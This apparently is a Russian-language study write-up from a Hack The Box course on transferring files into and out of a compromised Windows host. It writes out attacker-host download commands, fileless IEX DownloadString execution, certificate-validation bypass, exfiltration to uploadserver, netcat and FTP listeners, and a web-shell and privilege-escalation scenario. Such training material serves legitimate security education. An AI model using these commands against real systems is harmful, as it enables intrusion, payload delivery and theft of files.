May 29, 2025

Передача файлов. Часть 1. Передача файлов в Windows.

____________________________________________________________________________________

Глава 1. ПЕРЕДАЧА ФАЙЛОВ В WINDOWS.

  1. ЗНАЧЕНИЕ ПЕРЕДАЧИ ФАЙЛОВ В WINDOWS.
  2. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ КОДИРОВАНИЯ BASE64.
  3. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ ВЕБ-ЗАГРУЗКИ ЧЕРЕЗ POWERSHELL.
  4. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ СЛУЖБЫ BITS.
  5. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ SMB.
  6. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ FTP.
  7. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ ИНСТРУМЕНТА CERTUTIL [УСТАРЕВШИЙ СПОСОБ].

____________________________________________________________________________________

§ 1.1. ЗНАЧЕНИЕ ПЕРЕДАЧИ ФАЙЛОВ В WINDOWS.

1.1.1) ПЕРЕДАЧА ФАЙЛОВ В WINDOWS — знание различных способов передачи файлов и принципов работы сетей может помочь нам достичь наших целей во время тестирования. Мы должны знать о средствах управления хостом, которые могут помешать нашим действиям, например, о белых списках приложений или блокировке определенных приложений или действий AV/EDR. На передачу файлов также влияют сетевые устройства, такие как брандмауэры, IDS или IPS, которые могут отслеживать или блокировать определенные порты или необычные действия.

В этой теме будем рассматривать ситуации, когда мы изначально имеем первоначальный доступ к целевой системе и нам нужно:

  1. Загрузить файл на целевую систему Windows из нашего компьютера.
  2. Загрузить файл из целевой системы Windows на наш компьютер.

1.1.2) МОДЕЛИРОВАНИЕ СИТУАЦИЙ В ТЕСТИРОВАНИИ, КОГДА НЕОБХОДИМА ПЕРЕДАЧА ФАЙЛОВ В WINDOWS.

Во время взаимодействия мы получаем RCE на веб-сервере IIS через уязвимость неограниченной загрузки файлов. Сначала мы загружаем веб-оболочку на IIS, а затем отправляем себе обратную оболочку для дальнейшего перечисления системы в попытке повысить привилегии.

Далее мы пытаемся использовать PowerShell для передачи на веб-сервер скрипта PowerUp.ps1 (скрипт PowerShell для перечисления векторов повышения привилегий), но PowerShell блокируется политикой управления приложениями.

Мы выполняем локальное перечисление вручную на веб-сервере и обнаруживаем, что там есть SeImpersonatePrivilege (это привилегия какая-то). Нам нужно передать на нашу целевую машину (целевой сервер+ или мой комп?) двоичный файл (что за файл? SeImpersonatePrivilege? или что-то другое?+) для повышения привилегий с помощью инструмента PrintSpoofer.

Затем мы пытаемся использовать Certutil для загрузки файла (что за файл?), который мы скомпилировали сами, непосредственно с нашего собственного GitHub, но в целевой организации установлена ​​сильная фильтрация веб-контента. Мы не можем получить доступ к таким веб-сайтам, как GitHub, Dropbox, Google Drive и т. д., которые можно использовать для передачи файлов.

Далее мы настроили FTP-сервер и попытались использовать FTP-клиент Windows для передачи файлов (да каких блять файлов? рандомных? или как?), но сетевой брандмауэр заблокировал исходящий трафик для TCP-порта 21.

Мы попытались использовать инструмент Impacket smbserver для создания папки, и мы обнаружили, что разрешен исходящий трафик на TCP-порт 445 (SMB). Мы использовали этот метод передачи файлов, чтобы успешно скопировать двоичный файл на нашу целевую машину и достичь нашей цели повышения привилегий до уровня администратора.

1.1.3) ПРИМЕР РЕАЛЬНОЙ АТАКИ, ГДЕ ИСПОЛЬЗОВАЛИСЬ МНОЖЕСТВЕННЫЕ МЕТОДЫ ПЕРЕДАЧИ ФАЙЛОВ ДЛЯ ОБХОДА ЗАЩИТЫ WINDOWS.

Реальный пример такой атаки описан в блоге Microsoft Astaroth Attack.

В начале блога говорится об угрозах fileless threats (угрозы без файлов). Термин "fileless" предполагает, что угроза исходит не из файла, поскольку для атаки используются легитимные инструменты, встроенные в систему. Это не означает, что не происходит операции передачи файла. Файл не «присутствует» в системе, а выполняется в памяти.

Astaroth-атака, как правило, проводилась следующим образом: вредоносная ссылка в фишинговом электронном письме вела к файлу LNK. При двойном щелчке ссылки файл LNK вызывал выполнение инструмента WMIC с параметром "/Format", что позволяло загружать и выполнять вредоносный код JavaScript. Код JavaScript, в свою очередь, загружает полезные данные, злоупотребляя инструментом Bitsadmin.

Все полезные нагрузки были закодированы в формат base64 и декодированы с помощью инструмента Certutil, в результате чего получилось несколько DLL-файлов. Затем использовался инструмент regsvr32 для загрузки одного из декодированных DLL, который расшифровывал и загружал другие файлы, пока окончательная полезная нагрузка Astaroth не была введена в процесс Userinit (процесс входа в систему).

Ниже представлено графическое изображение атаки:

Это отличный пример множественных методов передачи файлов и использования злоумышленником этих методов для обхода защиты.

§ 1.2. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ КОДИРОВАНИЯ BASE64.

1.2.1) КОДИРОВАНИЕ BASE64 — мы можем закодировать передаваемый файл в строку Base64 в терминале нашего компьютера, скопировать строку Base64 в терминал целевой системы Windows и декодировать его там обратно в исходное содержимое. То же самое можно сделать и в обратном направлении.

Важным условием при использовании этого способа является обеспечение правильности кодирования и декодирования файла. Можно использовать программу md5sum, которая вычисляет и проверяет 128-битные контрольные хэш-суммы MD5. Поскольку хэш-сумма MD5 действует как компактный цифровой отпечаток файла, то кодированный и декодированный файл должны иметь одинаковую хэш-сумму.

Примечание: Этот метод не всегда можно использовать. Поскольку командная строка Windows (powershell и cmd.exe) имеет максимальную длину строки 8191 символов, то мы не сможем декодировать строки, превышающие 8191 символов.

1.2.2) ПЕРЕДАЧА ФАЙЛОВ НА ЦЕЛЕВУЮ СИСТЕМУ WINDOWS.

ЭТАП 1. Например, мы хотим передать некий файл (upload_win.zip) на целевую систему Windows из нашего компьютера. Сначала нужно проверить хэш-сумму этого файла:

md5sum передаваемыйФайл

Мы получили хэш-сумму передаваемого файла "upload_win.zip", которая нам понадобится на 4-м этапе.

ЭТАП 2. Закодировать передаваемый файл "upload_win.zip" в формат Base64:

cat передаваемыйФайл |base64 -w 0;echo

Мы получили файл "upload_win.zip" в формате Base64.

ЭТАП 3. Декодировать строку Base64 в терминале целевой системы Windows. Сделать это можно в PowerShell с помощью команды:

[IO.File]::WriteAllBytes("местоДекодировкиСтрокиBase64", [Convert]::FromBase64String("строкаBase64"))

  • C:\Users\htb-student\Desktop\ — это местоположение в целевой системе Windows, куда декодируется строка Base64.
  • upload_win1.zip — это имя файла, куда декодируются строка Base64.
  • ("UEsDBAoAAAA...AAAAA=") — это строка Base64, полученная на 2-м этапе.

Мы декодировали строку Base64 обратно в исходное содержимое и поместили её в файл "upload_win1.zip":

Тем самым, мы успешно передали файл "upload_win.zip" в целевую систему Windows.

ЭТАП 4. Подтвердить, что файл был успешно передан на целевую систему Windows, проверив его хэш-сумму MD5 с помощью командлета (встроенная команда) Get-FileHash:

Get-FileHash переданныйФайл -Algorithm md5

  • C:\Users\htb-student\Desktop\upload_win.zip — это местоположение переданного файла в целевой системе Windows.
  • -Algorithm md5 — это алгоритм для проверки хэш-суммы MD5.

Мы получили хэш-сумму MD5 переданного файла. Теперь эту хэш-сумму нужно сравнить с хэш-суммой этого же файла, полученной на 1-м этапе. Если обе хэш-суммы будут совпадать, значит файл "upload_win.zip" был правильно загружен в целевую систему Windows.

1.2.3) ПЕРЕДАЧА ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ WINDOWS.

ЭТАП 1. Например, мы хотим отправить из целевой системы Windows на наш компьютер системный файл "hosts" (C:\Windows\System32\drivers\etc\hosts). Сначала нужно проверить хэш-сумму этого файла в PowerShell:

Get-FileHash "передаваемыйФайл" -Algorithm MD5 | select Hash

Мы получили хэш-сумму передаваемого файла "hosts", которая нам понадобится на 4-м этапе.

ЭТАП 2. Закодировать передаваемый файл "hosts" в формат Base64:

[Convert]::ToBase64String((Get-Content -path "передаваемыйФайл" -Encoding byte))

Мы получили файл "hosts" в формате Base64.

ЭТАП 3. Декодировать строку Base64 в терминале нашего компьютера с помощью команды:

echo строкаBase64 | base64 -d > hosts1

  • base64 -d > hosts1 — эта команда декодирует строку Base64 в файл "hosts1", который сохранится на нашем компьютере.

Мы декодировали строку Base64 обратно в исходное содержимое и поместили её в файл "hosts1":

ЭТАП 4. Подтвердить, что файл был успешно передан на наш компьютер с помощью команды:

md5sum переданныйФайл

Мы получили хэш-сумму MD5 переданного файла. Теперь эту хэш-сумму нужно сравнить с хэш-суммой этого же файла, полученной на 1-м этапе. Если обе хэш-суммы будут совпадать, значит файл "hosts1" был правильно загружен на наш компьютер.

§ 1.3. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ ВЕБ-ЗАГРУЗКИ ЧЕРЕЗ POWERSHELL.

1.3.1) ВЕБ-ЗАГРУЗКА ЧЕРЕЗ POWERSHELL — мы можем загрузить передаваемый файл на целевую систему Windows через её терминал PowerShell. Данный способ необходим, когда брандмауэр в Windows применяет веб-фильтрацию для запрета доступа к конкретным категориям веб-сайтов, блокирует загрузку конкретных типов файлов или разрешить доступ только к доменам из белого списка в сетях с ограниченным доступом.

PowerShell предлагает много вариантов загрузки файлов из внешних ресурсов. Для загрузки файлов через HTTP, HTTPS или FTP может использоваться класс System.Net.WebClient, который с помощью методов ниже может загружать данные из внешних ресурсов:

  • DownloadFileзагружает данные из ресурса в локальный файл Windows.
  • DownloadFileAsyncзагружает данные из ресурса в локальный файл Windows, не блокируя вызывающий поток.
  • DownloadStringзагружает строку (строки) из ресурса и возвращает эту строку в терминале.
  • DownloadStringAsyncзагружает строку (строки) из ресурса, не блокируя вызывающий поток.
  • DownloadDataзагружает данные из ресурса и возвращает массив байтов в терминале.
  • DownloadDataAsyncзагружает данные из ресурса и возвращает массив байтов в терминале, не блокируя вызывающий поток.
  • OpenReadвозвращает данные из ресурса в виде потока (stream).
  • OpenReadAsyncвозвращает данные из ресурса, не блокируя вызывающий поток.

Более подробно о методах класса System.Net.WebClient с помощью которых можно загрузить данные/файлы смотреть здесь.

1.3.2) ПЕРЕДАЧА ФАЙЛОВ В ЦЕЛЕВУЮ СИСТЕМУ WINDOWS.

ЭТАП 1. Например, мы хотим загрузить некий файл (acdc.txt) на целевую систему Windows из нашего компьютера. Сначала нужно запустить HTTP-сервер Python из каталога нашего компьютера, где находится передаваемый файл:

sudo python3 -m http.server 443

ЭТАП 2. Загрузить передаваемый файл через PowerShell в целевой системе Windows с помощью следующей команды:

(New-Object Net.WebClient).DownloadFile('целевойРесурс','местоЗагрузкиФайла')

  • DownloadFile(' ') — это метод класса System.Net.WebClient, который загружает данные из ресурса в локальный файл Windows.
  • http://10.10.15.1:443/acdc.txt — это целевой ресурс, откуда нужно загрузить файл (acdc.txt) на систему Windows.
  • C:\Users\htb-student\Desktop\acdc1.txt — это местоположение в целевой системе Windows, куда загрузится файл и как этот файл будет называться (acdc1.txt).

Мы загрузили данные файла "acdc.txt" на целевую систему Windows и сохранили эти данные в файле "acdc1.txt":

Кроме того, передаваемый файл можно загрузить на целевую систему Windows с помощью командлета Invoke-WebRequest:

Invoke-WebRequest целевойРесурс -OutFile местоЗагрузкиФайла

  • http://10.10.15.1:443/acdc.txt — это целевой ресурс, откуда нужно загрузить файл (acdc.txt) на систему Windows.
  • -OutFile C:\Users\htb-student\Desktop\acdc1.txt — это местоположение в целевой системе Windows, куда загрузится файл и как этот файл будет называться (acdc1.txt).

Командлет Invoke-WebRequest заметно медленнее загружает файлы, чем методы класса System.Net.WebClient.

ЭТАП 2 [ДОПОЛНИТЕЛЬНЫЙ]. Вместо загрузки файла "acdc.txt" на жёсткий диск целевой системы Windows, можно запустить этот файл непосредственно в оперативной памяти Windows с помощью командлета Invoke-Expression:

IEX (New-Object Net.WebClient).DownloadString('целевойРесурс') или (New-Object Net.WebClient).DownloadString('целевойРесурс') | IEX

  • DownloadString(' ') — это метод класса System.Net.WebClient, который загружает строку из ресурса и возвращает строку на экране.
  • http://10.10.15.1:443/acdc.txt — это целевой ресурс (IP-адрес нашего компьютера), откуда нужно вывести данные файла (acdc.txt) на систему Windows.

Мы вывели данные файла "acdc.txt" в терминале целевой системы Windows, загрузив данные файла в оперативной памяти, а не напрямую на жёсткий диск. Таким же образом, можно загрузить какие-нибудь вредоносные скрипты, запустив их непосредственно в оперативной памяти Windows.

РАСПРОСТРАНЁННЫЕ ОШИБКИ В POWERSHELL ПРИ ПЕРЕДАЧЕ ФАЙЛОВ.

ОШИБКА 1. Возможны случаи, когда на целевой системе Windows не была завершена первоначальная настройка Internet Explorer, что будет препятствовать загрузке файлов через PowerShell.

Эту проблему можно обойти прописав в вышеперечисленных командах для передачи файлов следующий параметр:

-UseBasicParsing

У меня данный параметр не сработал с методами класса System.Net.WebClient (пункт 1.3.1).

ОШИБКА 2. Другая ошибка связана с защищенным каналом SSL/TLS целевой системы Windows, когда сертификат ресурса, откуда нужно скачать файл, является ненадёжным. Эту проблему можно обойти с помощью команды:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Теперь целевая система Windows должна скачивать файлы с ресурсов, у которых стоит ненадёжный сертификат.

1.3.3) ПЕРЕДАЧА ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ WINDOWS.

СПОСОБ №1.

ЭТАП 1. Например, мы хотим отправить из целевой системы Windows на наш компьютер системный файл "hosts" (C:\Windows\System32\drivers\etc\hosts).

Сначала нужно загрузить на целевую систему Windows скрипт PSUpload.ps1, который позволяет отправлять файлы из Windows на другие компьютеры. Для этого нужно скачать скрипт PSUpload.ps1 на наш компьютер, а затем запустить HTTP-сервер Python из каталога, где находится этот скрипт:

sudo python3 -m http.server 443

Далее нужно загрузить скрипт PSUpload.ps1 через PowerShell целевой системы Windows с помощью команды:

IEX (New-Object Net.WebClient).DownloadString('целевойРесурс') или (New-Object Net.WebClient).DownloadString('целевойРесурс') | IEX

  • DownloadString(' ') — это метод класса System.Net.WebClient, который загружает строку из ресурса.
  • http://10.10.15.1:443/PSUpload.ps1 — это целевой ресурс (IP-адрес нашего компьютера), откуда нужно загрузить скрипт PSUpload.ps1.

Если терминал не выводит никаких ошибок, то скрипт PSUpload.ps1 загружен успешно на целевую систему Windows.

ЭТАП 2. Установить на нашем компьютере расширенный HTTP-сервер Python uploadserver:

pipx install uploadserver

Расширенный HTTP-сервер uploadserver позволяет принимать загрузки с внешних компьютеров, что невозможно по умолчанию в большинстве инструментах для создания веб-серверов, в том числе и в обычном HTTP-сервере Python.

Веб-сервер uploadserver был установлен с помощью нестандартной команды "pipx", поскольку стандартным способом данный сервер не устанавливается на Kali Linux.

Далее нужно запустить на нашем компьютере веб-сервер uploadserver:

uploadserver

Если веб-сервер uploadserver был установлен стандартным способом (см. выше), то его нужно запустить с помощью команды: "python3 -m uploadserver".

ЭТАП 3. Отправить из целевой системы Windows на наш компьютер системный файл "hosts" с помощью скрипта PSUpload.ps1:

Invoke-FileUpload -Uri http://IPнашегоКомпьютера:8000/upload -File передаваемыйФайл

  • Invoke-FileUpload — это командлет PowerShell с помощью которого можно создать функцию загрузки в PowerShell (поскольку PowerShell не имеет встроенной функции для загрузки/отправки файлов). Вместо данного командлета можно использовать и другой командлет Invoke-RestMethod.
  • -Uri http://10.10.14.128:8000/upload — это IP-адрес и порт, на котором запущен веб-сервер uploadserver. Каталог /upload является страницей загрузки веб-сервера uploadserver по умолчанию (данный каталог нужно всегда указывать).
  • -File C:\Windows\System32\drivers\etc\hosts — это местоположение передаваемого файла на целевой системе Windows.

Мы успешно отправили из целевой системы Windows на наш компьютер системный файл "hosts". О чём будут свидетельствовать выходные данные в терминале PowerShell выше; в терминале, где запущен веб-сервер uploadserver, ну и сам отправленный файл, который появится на нашем компьютере:

СПОСОБ №2.

ЭТАП 1. Например, мы хотим отправить из целевой системы Windows на наш компьютер системный файл "hosts" (C:\Windows\System32\drivers\etc\hosts). Сначала нужно запустить на нашем компьютере прослушиватель Netcat:

nc -lvnp 8000

ЭТАП 2. Закодировать передаваемый файл "hosts" в формат Base64 через PowerShell в целевой системе Windows:

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'передаваемыйФайл' -Encoding Byte))

Мы закодировали передаваемый файл "hosts" в формат Base64. Хотя строка Base64 и не выводится в терминале PowerShell, но она хранится в памяти компьютера.

Далее нужно отправить строку Base64 из целевой системы Windows на наш компьютер с помощью командлета Invoke-WebRequest:

Invoke-WebRequest -Uri http://IPнашегоКомпьютера:8000/ -Method POST -Body $b64

Мы получим отправленную строку Base64 на наш прослушиватель Netcat:

Далее остаётся только декодировать строку Base64 обратно в исходное состояние:

echo строкаBase64 | base64 -d -w 0 > hosts1

  • base64 -d > hosts1 — эта команда декодирует строку Base64 в файл "hosts1", который сохранится на нашем компьютере.

Мы декодировали строку Base64 обратно в исходное содержимое и поместили её в файл "hosts1".

§ 1.4. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ СЛУЖБЫ BITS.

1.4.1) BITS (BACKGROUND INTELLIGENT TRANSFER SERVICE)это встроенная служба Windows, которая используется программистами и сисадминами для загрузки или выгрузки файлов на веб-серверы HTTP и файловые ресурсы SMB. Следовательно, службу BITS могут использовать и злоумышленники.

1.4.2) ПЕРЕДАЧА ФАЙЛОВ В ЦЕЛЕВУЮ СИСТЕМУ WINDOWS.

ЭТАП 1. Например, мы хотим загрузить некий файл (file.txt) из нашего компьютера на целевую систему Windows. Сначала нужно запустить веб-сервер uploadserver из каталога нашего компьютера с передаваемым файлом:

uploadserver

Подробнее о веб-сервере uploadserver читать выше (пункт 1.3.3).

ЭТАП 2. Скачать передаваемый файл "file.txt" на целевую систему Windows из нашего компьютера. Для этого нужно ввести в PowerShell на целевой системе Windows следующую команду:

bitsadmin /transfer wcb /priority foreground http://IPнашегоКомпьютера/file.txt C:\Users\htb-student\Desktop\file1.txt

или

Import-Module bitstransfer; Start-BitsTransfer -Source "http://IPнашегоКомпьютера/file.txt" -Destination "C:\Users\htb-student\Desktop\file1.txt"

  • http://10.10.15.36:8000/file.txt — это IP-адрес и порт, на котором запущен веб-сервер uploadserver.
  • C:\Users\htb-student\Desktop\file1.txt — это местоположение в целевой системе Windows, куда загрузится файл и как этот файл будет называться (file1.txt).

Мы загрузили данные файла "file.txt" на целевую систему Windows и сохранили эти данные в файле "file1.txt":

§ 1.5. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ SMB.

Поскольку SMB широко распространён в корпоративных сетях, где запущены службы Windows, то можно использовать этот протокол для загрузки файлов с нашего компьютера на целевую систему Windows.

1.5.1) ПЕРЕДАЧА ФАЙЛОВ В ЦЕЛЕВУЮ СИСТЕМУ WINDOWS.

ЭТАП 1. Например, мы хотим загрузить некий файл (nc.exe) на целевую систему Windows из нашего компьютера. Сначала нужно запустить SMB-сервер из каталога нашего компьютера, где расположен передаваемый файл с помощью инструмента smbserver.py (Impacket):

sudo impacket-smbserver share -smb2support /tmp

Мы запустили SMB-сервер из каталога /tmp, там же и находится передаваемый файл "nc.exe":

ЭТАП 2. Загрузить передаваемый файл через терминал CMD целевой системы Windows с помощью следующей команды:

copy \\IPнашегоКомпьютера\share\nc.exe

  • \share\ — этот каталог нужно просто указать, хз как это работает, но его нужно прописывать в команде.

Мы загрузили файл "nc.exe" в папку C:\Users\htb-student:

Мы также можем примонтировать наш SMB-сервер в целевую систему Windows с помощью следующей команды:

net use n: \\IPнашегоКомпьютера\share

А потом загрузить передаваемый файл через терминал CMD целевой системы Windows с помощью следующей команды:

copy n:\nc.exe

ЭТАП 2 [ДОПОЛНИТЕЛЬНЫЙ]. При загрузке файла через терминал CMD, система Windows может блокировать неаутентифицированный гостевой доступ, выводя следующее сообщение:

Для решения этой проблемы, нужно создать учётную запись, когда запускаем SMB-сервер на нашем компьютере:

sudo impacket-smbserver share -smb2support /tmp -user имяПользователя -password пароль

Мы запустили SMB-сервер из каталога /tmp, создав учётную запись для входа на этот сервер (admin:12345).

Далее нужно примонтировать наш SMB-сервер в целевую систему Windows с помощью следующей команды:

net use n: \\IPнашегоКомпьютера\share /user:имяПользователя пароль

А потом загрузить передаваемый файл через терминал CMD целевой системы Windows с помощью следующей команды:

Мы загрузили файл "nc.exe" в папку C:\Users\htb-student.

1.5.2) ПЕРЕДАЧА ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ WINDOWS.

Обычно компании не разрешают использовать протокол SMB вне внутренней сети компании, поскольку это может привести к потенциальных атакам. Дополнительную информацию о предотвращении трафика SMB из боковых соединений, а также входа или выхода из сети можно почитать здесь.

Помочь в этом случае может WebDAV это набор расширений к протоколу HTTP, который позволяет веб-серверам работать как файловый сервер, поддерживая совместную разработку контента. WebDAV также может использовать HTTPS.

Когда мы используем SMB, то WebDAV сначала попытается подключиться к общему ресурсу с помощью протокола SMB, а если нет доступного общего ресурса SMB, то WebDAV попытается подключиться с помощью HTTP:

В примере выше (Wireshark) мы попытались подключиться к общему ресурсу testing3, и поскольку WebDAV ничего не нашёл с помощью протокола SMB, он затем использовал протокол HTTP.

В этом и есть ключ для обхода ограничений от компаний, которые не разрешают использовать протокол SMB вне своей внутренней сети через SMB-протокол использовать HTTP-протокол, чтобы обойти ограничения SMB.

ЭТАП 1. Например, мы хотим отправить из целевой системы Windows на наш компьютер системный файл "hosts" (C:\Windows\System32\drivers\etc\hosts).

Сначала нужно установить на нашем компьютере сервер WebDav (WsgiDAV). Для этого нужно установить два модуля Python: wsgidav и cheroot:

sudo apt install python3-wsgidav

sudo apt install python3-cheroot

Если на нашем компьютере вместо Kali Linux стоит другая система, то установить сервер WebDav нужно с помощью команды: sudo pip3 install wsgidav cheroot.

ЭТАП 2. Запустить на нашем компьютере сервер WebDav:

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

  • --host=0.0.0.0 —
  • --port=80 — эта команда запускает WebDav-сервер на порту 80. Можно подставить любой другой свободный порт, например 8080. Но в этом случае, при переходе по IP-адресу WebDav-сервера, нужно будет указывать и сам порт (например, http://IPнашегоКомпьютера:8080)
  • --root=/tmp — эта команда запускает WebDav-сервер из каталога /tmp.
  • --auth=anonymous — эта команда разрешает неавторизированный вход на WebDav-сервер.

Мы запустили SMB-сервер из каталога /tmp. Если нужно скачать что-либо из нашего сервера, то нужно перейти по адресу:

http://IPнашегоКомпьютера:80

Мы получили доступ к содержимому SMB-сервера в каталоге /tmp

ЭТАП 3. Подключиться из целевой системы Windows к общему ресурсу на нашем компьютере?:

dir \\IPнашегоКомпьютера\DavWWWRoot

______________________________________________________________________________________

НЕ СРАБОТАЛО!!!!

WINDOWS ОТ HTB КАТЕГОРИЧЕСКИ НЕ ХОЧЕТ ВИДЕТЬ МОЙ ВКЛЮЧЁННЫЙ SMB-СЕРВЕР.

  1. ИЛИ ИНФОРМАЦИЯ УСТАРЕВШАЯ ПО ПОВОДУ СПОСОБА ПОДКЛЮЧЕНИЯ.
  2. ИЛИ WINDOWS ОТ HTB НЕ НАСТРОЕН НА ПОДКЛЮЧЕНИЯ К SMB-СЕРВЕРУ.
  3. ИЛИ ПРОБЛЕМА НА МОЕЙ СТОРОНЕ.

______________________________________________________________________________________

  • DavWWWRoot — это специальное ключевое слово, которое распознаётся в терминале оболочкой Windows (на нашем WebDAV-сервере такой папки нет). Данное ключевое слово сообщает драйверу Mini-Redirector, который обрабатывает запросы WebDAV, что мы подключаемся корневому каталогу сервера WebDAV. Можно избежать использования этого ключевого слова, если при подключении к серверу мы укажем папку, которая существует на нашем сервере (например, dir \\IPнашегоКомпьютера\smbshare).

§ 1.6. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ FTP.

1.6.1) ПЕРЕДАЧА ФАЙЛОВ В ЦЕЛЕВУЮ СИСТЕМУ WINDOWS.

ЭТАП 1. Например, мы хотим загрузить некий файл (file.txt) на целевую систему Windows из нашего компьютера. Сначала нужно установить на нашем компьютере FTP-сервер с помощью команды:

sudo apt install python3-pyftpdlib

Далее нужно запустить FTP-сервер из каталога нашего компьютера, где расположен передаваемый файл:

sudo python3 -m pyftpdlib --port 21

ЭТАП 2. Загрузить передаваемый файл через терминал PowerShell с помощью следующей команды:

(New-Object Net.WebClient).DownloadFile('ftp://IPнашегоКомпьютера/file.txt', 'местоЗагрузкиФайла')

  • DownloadFile(' ') — это метод класса System.Net.WebClient, который загружает данные из ресурса в локальный файл Windows (подробнее о методах данного класса читать выше пункт 1.3.1).
  • http://10.10.15.59/file.txt — это целевой ресурс, откуда нужно загрузить файл (file.txt) на систему Windows.
  • C:\Users\htb-student\Desktop\file1.txt — это местоположение в целевой системе Windows, куда загрузится файл и как этот файл будет называться (file1.txt).

Мы загрузили файл "file.txt" на целевую систему Windows и сохранили эти данные в файле "file1.txt":

________________________________________________________________________

!!! ПРОПУЩЕН ФРАГМЕНТ !!!

Когда мы получаем оболочку на удаленной машине, у нас может не быть интерактивной оболочки. Если это так, мы можем создать файл команд FTP для загрузки файла. Сначала нам нужно создать файл, содержащий команды, которые мы хотим выполнить, а затем использовать клиент FTP, чтобы использовать этот файл для загрузки этого файла.

Когда мы получаем оболочку на удаленном компьютере, у нас может не быть интерактивной оболочки. В этом случае мы можем создать командный файл FTP для загрузки файла. Сначала нам нужно создать файл (ftp.txt), содержащий команды, которые мы хотим выполнить, а затем использовать FTP-клиент для загрузки этого файла (ftp.txt).

Создайте командный файл для FTP-клиента и загрузите целевой файл
Создайте командный файл для FTP-клиента и загрузите целевой файл

________________________________________________________________________

1.6.2) ПЕРЕДАЧА ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ WINDOWS.

ЭТАП 1. Например, мы хотим отправить из целевой системы Windows на наш компьютер системный файл "hosts" (C:\Windows\System32\drivers\etc\hosts). Сначала нужно установить на нашем компьютере FTP-сервер:

sudo apt install python3-pyftpdlib

Далее нужно запустить на нашем компьютере FTP-сервер с параметром --write, который позволит загружать файлы на наш атакующий хост:

sudo python3 -m pyftpdlib --port 21 --write

ЭТАП 2. Отправить файл "hosts" через терминал PowerShell целевой системы Windows на наш компьютер:

(New-Object Net.WebClient).UploadFile('ftp://IPнашегоКомпьютера/hosts1.txt', 'C:\Windows\System32\drivers\etc\hosts')

  • ftp://10.10.14.141/hosts1.txt — это IP-адрес нашего компьютера, куда отправится файл "hosts" из системы Windows, и как этот файл будет именоваться на нашем компьютере (file1.txt).
  • C:\Windows\System32\drivers\etc\hosts — это местоположение отправляемого файла "hosts" на целевой системе Windows.

Мы загрузили файл "file.txt" из целевой системы Windows на наш компьютер, сохранив данные в файле "file1.txt":

________________________________________________________________________

!!! ПРОПУЩЕН ФРАГМЕНТ !!!

Создайте командный файл для FTP-клиента для загрузки файла

________________________________________________________________________

§ 1.7. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ ИНСТРУМЕНТА CERTUTIL [УСТАРЕВШИЙ СПОСОБ].

1.7.1) CERTUTIL — это встроенный инструмент Windows, который используется разработчиками и ИТ-администраторами для просмотра информации о содержимом сертификатов на устройствах. А вот злоумышленниками может использоваться для загрузки произвольных файлов на целевую систему Windows. Является аналогом инструмента передачи файлов Wget.

Однако в настоящее время интерфейс защиты AMSI (Antimalware Scan Interface) в Windows определяет использование Certutil как вредоносное.

Возможно этот способ передачи файлов сработает в старых версиях Windows.

1.7.2) ПЕРЕДАЧА ФАЙЛОВ В ЦЕЛЕВУЮ СИСТЕМУ WINDOWS.

ЭТАП 1. Например, мы хотим загрузить некий файл (file.txt) из нашего компьютера на целевую систему Windows. Сначала нужно запустить веб-сервер uploadserver из каталога нашего компьютера с передаваемым файлом:

uploadserver

Подробнее о веб-сервере uploadserver читать выше (пункт 1.3.3).

ЭТАП 2. Скачать передаваемый файл "file.txt" на целевую систему Windows из нашего компьютера. Для этого нужно ввести в CMD на целевой системе Windows следующую команду:

certutil.exe -verifyctl -split -f http://IPнашегоКомпьютера:8000/nc.exe

Мы загрузили файл "file.txt" на целевую систему Windows из нашего компьютера.